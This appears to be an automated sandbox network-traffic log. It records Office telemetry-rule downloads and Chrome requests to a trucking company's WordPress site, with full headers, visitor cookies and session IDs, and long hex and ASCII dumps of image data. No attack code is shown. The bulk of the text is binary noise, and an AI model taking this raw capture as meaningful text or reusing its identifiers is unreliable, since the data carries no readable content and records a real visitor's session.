2024-10-07 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121026Z-1657d5bbd48tnj6wmberkg2xy800000003d000000000m1yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49846	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121026Z-1657d5bbd48dfrdj7px744zp8s000000033000000000hgh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49842	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:26 UTC	894	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:27 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 12:10:26 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 12:10:27 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121027Z-1657d5bbd482lxwq1dp2t1zwkc000000035000000000ekzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121027Z-1657d5bbd487nf59mzf5b3gk8n00000003500000000061q6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49855	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:27 UTC	926	OUT	GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:28 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:24:22 GMT Accept-Ranges: bytes Content-Length: 946004 Content-Type: image/png
2024-10-07 12:10:28 UTC	7958	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 da 00 00 03 2c 08 06 00 00 00 82 e7 cf c0 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDR,liCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 05 49 48 f9 15 0d a8 00 a1 e8 99 ce 1c 42 30 3d 78 41 12 52 7e 45 03 2a 40 28 7a a6 33 87 10 4c 0f 5e 90 84 94 5f d1 80 0a 10 8a 9e e9 cc 21 04 d3 83 17 24 21 e5 57 54 d0 5d 97 db 57 47 af c6 57 47 b9 a3 cd 0f 4f a4 a4 0b ba 69 2e 4a b8 92 b6 bc 8c c3 29 56 b3 17 d2 38 ba a5 21 a4 d3 0d ff 58 0a 8f 65 d1 85 08 4e 55 2d 96 c6 e1 34 e2 bf 7a ff 66 d7 d6 6a 28 3b dd 68 7f a3 fd 8d fe 37 1d 64 d6 90 bd f7 10 60 1c 4e 63 fc 19 e3 cf aa 3b 58 37 d6 d6 56 d5 e9 c6 f8 3b c6 df 31 fe ae 31 de 4e 4d de 7b a8 35 0e a7 31 fe 8e f1 77 8c bf d3 7e e2 72 77 af a9 90 4e 37 ee 3f e3 fe 33 ee 3f cb 9d 67 51 eb bd 87 26 e3 70 fa 49 bb ff ec bc e2 03 65 dd 8e cb df 87 85 b6 fa d5 d1 ba a4 65 f1 8a f8 04 d3 ab 19 38 98 d8 e6 0c d1 c3 0c db 4e 6b 1a 1b 6c f8 47 2c ea 2d 30 42 Data Ascii: IHB0=xAR~E*@(z3L^_!$!WT]WGWGOi.J)V8!XeNU-4zfj(;h7d`Nc;X7V;11NM{51w~rwN7?3?gQ&pIee8NklG,-0B
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: ae 62 c5 f2 c6 de 01 b9 c0 80 09 3d 75 76 f0 71 a0 02 80 e5 03 b2 d4 fe fa 15 25 4c 8b 6c d2 c9 89 90 e3 7d 89 c1 53 fa 44 99 33 59 d8 fc ff fa 90 51 33 eb fc 7b f6 bd 4a fe 61 f3 ec 57 3d a5 18 40 69 45 3d 47 9c 3b 45 12 12 2b 6c af aa 92 94 a2 02 07 75 83 cc a2 34 93 e7 1a c2 11 2e ea d4 87 29 27 b0 d0 88 d5 26 fe c7 a3 55 d1 52 99 ce 62 48 b1 19 ab 3e 13 07 ac 84 c9 60 49 92 90 58 e5 d6 ab aa 24 a5 a8 c0 41 dd 20 b3 a8 9b 21 e1 fa b3 09 b0 de 9c 95 e9 d5 44 d6 df da 95 05 84 51 e0 9e 36 1e 1e 13 9f 76 33 a1 a9 1a 35 4c 3e 39 a0 83 79 46 9e 94 7c 5d b3 e1 92 95 3b 85 ce f4 9e 7f a4 05 d3 d6 51 6a fb 0e 23 d2 58 f9 91 47 bd 20 eb 6c 67 17 44 c8 82 b1 16 ba aa b6 60 80 4a 06 cc 96 a9 1c cf 04 5c cc 61 3a 1e b6 ab cc d2 ba ec 67 d8 d9 29 59 28 23 90 2d 90 Data Ascii: b=uvq%Ll}SD3YQ3{JaW=@iE=G;E+lu4.)'&URbH>`IX$A !DQ6v35L>9yF\|];Qj#XG lgD`J\a:g)Y(#-
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 04 c2 02 1f 9c cc ea fa d7 16 c2 66 c5 f2 42 e4 87 10 1e 7e f2 50 b9 e7 91 fd e5 ef 3e fa 99 f2 67 1f fa ab f2 18 16 da 0e 61 47 9b 7d 61 d5 fa f0 01 fb ad a5 f5 5c 78 63 47 64 a7 66 62 1e f4 c1 dd a9 f8 8f 75 a7 3f db a9 c7 29 f8 e1 03 e5 0d 97 5e 58 7e e5 9d 3f 53 2e bf e4 bc 72 d1 79 af 2a 5b b7 6c 44 9f f6 74 d6 a7 59 92 67 d9 fe 18 27 42 b9 74 c6 57 46 bf ff d8 9e 72 cf 83 4f 96 7f c0 2e db 0f fd c5 df 94 c7 b0 50 7d 04 e5 2e 5c 88 e4 9f 75 1f 5c 03 16 95 db 9b d8 6d eb 38 e4 5d 8f d7 06 f1 3b c4 85 ca 33 ca 3b 7f f6 a7 ca 4f 5d 71 69 b9 14 3b 47 4f c6 2e b7 0d dc 82 c7 1a 01 bc 1f d7 76 2f 56 db fe f4 43 7f 5b fe 9f 3f f9 50 79 e2 89 a7 cb de 7d fb f1 3a f7 55 58 f8 7e 23 16 78 2e 2e 17 63 a1 d3 7f 53 92 25 a4 53 fe 59 0e 76 76 09 6c ad 3f 6d 26 3c Data Ascii: fB~P>gaG}a\xcGdfbu?)^X~?S.ry*[lDtYg'BtWFrO.P}.\u\m8];3;O]qi;GO.v/VC[?Py}:UX~#x..cS%SYvvl?m&<
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: f7 ab 1e ea 08 b6 d8 ad 91 83 f8 5d c1 41 fc 86 58 fa 5d cf c3 c4 d8 3e 71 d7 30 ef 64 f9 49 f9 27 f5 cf 07 54 38 72 ea 07 62 72 fc 25 48 20 2e a0 bf bd f9 c7 83 21 a4 c3 68 bb a0 60 08 91 49 2d da 80 b0 fe e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 b2 fc f8 a4 1a ca 4c fb 50 42 e1 3e 7a 2d 3c ae bf 56 7f 14 5e 0b f7 7e a5 c1 e5 48 42 52 fe 49 f9 c7 be d4 42 9d d1 3e d4 90 70 1f bd 16 1e d7 5f ab 3f 0a af 85 7b bf d2 e0 72 24 e1 bf b1 fe 49 0a be 20 42 fe fa 2d 2c 20 47 a0 57 b8 a9 5b 74 2e 96 db 19 16 90 eb 00 da 36 00 0e ac 5d b7 05 20 ea ac 03 23 62 54 c8 57 d3 03 53 c6 d8 2f 7e fe 94 f5 eb d5 c1 da b5 0a 00 2c fd 70 f7 37 f0 e4 a1 bc b4 58 3b 75 f6 22 40 c3 29 9b 33 77 91 2d 5f bb 85 05 71 00 be 68 c1 98 0e 3b a8 7f 6e 3f 1b 37 72 10 0c Data Ascii: ]AX]>q0dI'T8rbr%H .!h`I->z-<V^~HBLPB>z-<V^~HBRIB>p_?{r$I B-, GW[t.6] #bTWS/~,p7X;u"@)3w-_qh;n?7r
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: d1 7f 31 3d 03 f0 53 f3 a0 98 9a 04 d0 a1 fe 0a f8 71 93 01 a5 08 bd fa 66 d2 dc d1 ab 67 47 fa 3c d3 1e 7f 78 92 9b d3 86 2f 46 24 0c ff ee a3 61 cb 61 b2 fe 1b 8c b6 7d 65 c7 91 81 cc 96 f5 0d 54 03 13 32 2b 00 da e4 1f 10 56 9b e6 7a 3a cc e5 e8 fa 47 1e be 8f 49 27 7a 1c 4b 8a ec ee 72 f5 2e 49 fe 80 a7 47 2e c6 0f e3 07 f1 72 eb 53 12 eb 12 29 38 76 18 bd f3 de 49 c9 f2 91 80 8b 2a 22 af f8 61 fc 20 29 7f c4 f4 d7 7c ff dd 55 3b eb c5 19 53 c8 d8 ce d3 23 17 e3 87 f1 83 a4 fc ff 9b cb bf 7d e1 2b 62 b4 bd 5c 57 b1 e5 dd e0 07 1f 02 a9 57 8f 7a 7d 0a d3 c2 bd ae 84 c7 e1 be fe ee 3b 8f a2 77 44 8f c3 fb f8 19 a0 2f 04 8d 04 b6 bb df 71 ef 81 72 b7 fb 83 9c c2 cf e8 1d d1 e3 fa eb c9 f2 93 f2 4f ea 5f 30 1e ee 3e 42 92 e3 ef 5e 5f d4 77 93 57 38 b3 34 Data Ascii: 1=SqfgG<x/F$aa}eT2+Vz:GI'zKr.IG.rS)8vI*"a )\|U;S#}+b\WWz};wD/qrO_0>B^_wW84
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: dd 41 fb e4 eb 1f 6c 0b 11 19 e5 c0 bf 06 5f 5f f2 e5 93 37 30 0b e6 c7 44 fc 0e 65 db d0 dc ae 8e 07 5c 62 d1 fd 39 51 24 3f 98 3b df 4d 39 af df 0c 16 bf 72 fc 3c 69 42 11 e6 a6 85 80 6c 3d 2d 17 67 f1 5a 88 e9 07 bd 16 77 aa 09 6e 8a 6c 25 8c b6 7f fc 0d c1 10 f6 1e 75 96 43 00 b4 11 e9 14 b3 cf 02 98 45 f7 15 0d b4 69 e3 07 02 b4 c1 68 f3 a7 78 96 e7 e4 77 87 a2 ec 1c 8b af 3d 07 4f db 7b 1f cc b5 d5 f8 61 0a cc 68 58 7e c3 c4 ea dd a3 33 fe 6a 30 e3 22 80 c3 e8 61 79 1e 3d 52 02 10 1e a0 c5 db ef 3e 04 68 7b 7b ae 2f 9c e5 0b ca 58 78 8b bc 54 84 bf a0 09 32 65 82 91 32 d0 81 36 18 19 98 3d 39 0b 0a d3 a3 cf be 9c ef 66 aa 92 b7 2a d3 88 05 7f 3e ec a7 e9 38 f0 1f 89 6c 0a 58 a8 35 83 81 e7 8b 4c ca 12 18 a0 ff 41 07 92 e0 1b 6c 25 09 5e 18 01 20 8b Data Ascii: Al__70De\b9Q$?;M9r<iBl=-gZwnl%uCEihxw=O{ahX~3j0"ay=R>h{{/XxT2e26=9f*>8lX5LAl%^
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: af 5c d8 1a 7c ff 49 bb 82 6b ae 57 7e 53 ec 5e 5d a1 fd 3a 93 f9 58 35 ac 16 99 ea ad 87 7d b9 62 dd 76 3b 88 89 ad 33 82 58 e0 06 8f 05 80 83 80 5c 6d fa d4 a1 33 0a 19 74 5a a4 a6 48 41 b4 39 e2 46 ce b1 fc 03 53 b9 9b 0e 7c e6 64 75 c5 3f 52 9e 3d 0a a3 ac 3f 91 73 03 39 01 87 70 6f 05 a6 8b c7 71 82 3f 7f b1 fc 4c 7d 09 d0 46 1f cb a1 3d 20 5d 5d cd 0d 7b 68 da 58 7b 78 da 18 a2 96 f6 b2 ec de 5d 7c d1 e1 2a a3 a2 a4 2f 54 48 c3 00 12 26 40 f8 6e 16 db f3 6c 3b 7d ae e8 9c 6a bf 1e 68 5c 47 9e b7 af d9 cf 9e 9d 61 ff f7 af 9e 87 61 da dc 81 36 b5 47 b2 d2 28 0c 8e 3d 21 f1 43 c2 e2 a2 ca 94 cf 2e dd e7 78 22 fb 00 c0 0c e6 00 9a e2 72 d5 ed aa 8f e7 c7 87 e6 26 f9 e1 ab 02 58 29 03 10 fa 1d 40 e0 32 f4 49 8e e7 9d 19 28 10 01 b3 38 f9 58 13 08 3e 13 Data Ascii: \\|IkW~S^]:X5}bv;3X\m3tZHA9FS\|du?R=?s9poq?L}F= ]]{hX{x]\|*/TH&@nl;}jh\Gaa6G(=!C.x"r&X)@2I(8X>
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: fe 86 31 41 9b c1 84 e9 72 7e d5 ff c0 bb 17 84 33 a6 4e 08 83 58 16 a6 e9 8c 26 48 32 b2 c8 d8 f6 95 7f bd 2b fc bf 5f fe 1e 9e 6a ca 53 5b 55 1f c1 03 ad 1f 7b b4 e1 d1 c6 86 e2 57 cc 9b 65 86 36 c9 5d 7f 9a 40 ad df bc 83 49 27 7b 2b 3d b5 d8 4e 7e 5b cf 12 30 2d dd a2 c2 3c 1c 65 8f 1c 1e 46 e3 8d 35 7e 2c c6 30 fe b4 2c d4 97 b6 69 12 b5 63 d7 de b0 67 a7 fe 76 e0 0d 34 38 7c 0c e3 d7 35 97 5f 1c d8 9a 8c e7 d8 14 ee c3 d0 f5 18 cb 69 9f 63 0f b3 ad db e4 e5 a0 5a 23 31 b2 3f 65 e2 84 30 6d c6 a9 4c 86 fb e2 a5 24 43 24 15 e2 da 8a 77 a3 26 a3 3b 77 ee c2 cb 70 9f 19 96 0e 33 1b 37 32 93 62 19 15 66 cd 62 e9 28 7b fe 2c b8 98 a5 a3 a3 65 68 c3 f8 a2 46 ae f2 58 8e 47 d6 4b 4b e4 d1 b6 d0 3c 34 cc 9b 0e 99 f4 f5 53 47 d9 8f 49 86 b6 91 4c 42 47 60 a7 Data Ascii: 1Ar~3NX&H2+_jS[U{We6]@I'{+=N~[0-<eF5~,0,icgv48\|5_icZ#1?e0mL$C$w&;wp372bfb({,ehFXGKK<4SGILBG`
2024-10-07 12:10:28 UTC	8000	IN	Data Raw: 6c 86 bd 85 89 cf 32 ab e3 7e 0c 30 b6 7f 95 0a b7 f2 f1 d0 c0 85 64 fa 54 26 58 53 27 33 d9 1e 17 a6 69 e3 fb 09 6c 2e 4f fd b5 97 9d 72 97 e9 72 3f 9e 32 3b f0 f2 7a 03 63 d3 eb 18 17 97 2e 5b c9 e4 6d 39 9e 72 5a 4e a9 ec c8 10 fe 39 b3 d9 28 9d 13 4e 65 64 93 d1 ee 24 32 d1 92 ba a5 c8 e9 d5 d7 d7 72 aa dd 73 18 48 d6 f2 5c 7d 28 73 12 27 fa 5d 83 37 d1 e9 c8 e7 e4 b8 79 b9 32 b1 dc 58 8a 8c c1 70 e5 9a f5 4c f8 5e c1 68 f4 22 c6 2f b5 10 35 a2 7d e5 2d f6 be f7 dc 1c ae bf e6 4a bc d9 d8 b4 9c 06 d6 24 54 6d 6c 59 a8 3e 11 20 cc af 12 6f f5 ae f4 2b 4e 62 c9 04 16 99 de 34 15 95 e1 6a 0f 06 b7 55 78 ce ac 5b bf 1d 6f be 5d 2c f5 dc 8c d7 c6 72 3c 45 b6 a1 1f ca 9b 51 48 89 95 94 49 ee c8 61 c3 30 1c b0 27 20 87 44 cc 9a 79 3a de 34 4c 4a d9 7c 7c 0c Data Ascii: l2~0dT&XS'3il.Orr?2;zc.[m9rZN9(Ned$2rsH\}(s']7y2XpL^h"/5}-J$TmlY> o+Nb4jUx[o],r<EQHIa0' Dy:4LJ\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49854	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:27 UTC	953	OUT	GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/commercial-transportation/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:28 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:51:27 GMT Accept-Ranges: bytes Content-Length: 1724038 Content-Type: image/png
